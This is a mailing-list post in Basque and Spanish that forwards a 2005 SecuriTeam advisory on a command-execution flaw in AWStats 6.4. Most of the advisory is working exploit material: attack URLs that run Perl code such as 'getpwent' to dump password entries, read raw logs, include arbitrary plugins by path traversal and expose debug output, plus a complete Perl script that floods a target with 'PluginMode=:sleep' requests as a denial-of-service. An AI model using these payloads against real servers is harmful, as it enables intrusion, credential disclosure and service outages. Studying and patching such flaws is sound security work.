[eside-ghost] Fw: [UNIX] AWStats PluginMode and LoadPlugin Command Execution

[txipi]

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Aupa!

  Borja, supongo que te interesarán los detalles...

Begin forwarded message:

Date: 17 Feb 2005 18:12:03 +0200
From: SecuriTeam <support en securiteam.com>
To: list en securiteam.com
Subject: [UNIX] AWStats PluginMode and LoadPlugin Command Execution


The following security advisory is sent to the securiteam mailing list,
and can be found at the SecuriTeam web site: http://www.securiteam.com
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  AWStats PluginMode and LoadPlugin Command Execution
- ------------------------------------------------------------------------


SUMMARY

 <http://awstats.sourceforge.net/> AWStats is "a free tool that
generates 
advanced web, ftp or mail server statistics, graphically". Remote 
exploitation of an input validation vulnerability in AWStats allows 
attackers to execute arbitrary Perl commands under the privileges of the

web server via the PluginMode and LoadPlugin parameter. The following 
exploit code can be used to test your system for the mentioned 
vulnerability (the exploit code contains samples and one PoC denial of 
service exploit).

DETAILS

Vulnerable Systems:
 * AWStats version 6.4 and prior

Exploit:
#!/usr/bin/perl
#
#
# Summarized the advisory www.ghc.ru GHC: /str0ke
#
# [0] Exploitable example (raw log plugin):
#    Attacker can read sensitive information
#
# 
http://server/cgi-bin/awstats-6.4/awstats.pl?pluginmode=rawlog&loadplugin=rawlog
#
# [1] Perl code execution. (This script)
#
# http://server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent
#
# [2] Arbitrary plugin including.
#
# 
http://server/cgi-bin/awstats-6.4/awstats.pl?&loadplugin=../../../../usr/libdata/perl/5.00503/blib
#
# [3] Sensetive information leak in AWStats version 6.3(Stable) - 
6.4(Development).
#    Every user can access debug function:
#
# http://server/cgi-bin/awstats-6.4/awstats.pl?debug=1
# http://server/cgi-bin/awstats-6.4/awstats.pl?debug=2
#
# Be sure to change the $server + /cgi-bin location /str0ke
#

use IO::Socket;
$server = 'www.example.com';
sub ConnectServer {
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", 
PeerPort => "80")
|| die "Error\n";
print $socket "GET 
/cgi-bin/awstats-6.4/awstats.pl?&hack=$rp&PluginMode=:sleep HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "\n\n";
}

while () {
$rp = rand;
&ConnectServer;
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:foster en ghc.ru> GHC.



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Agur
  txipi

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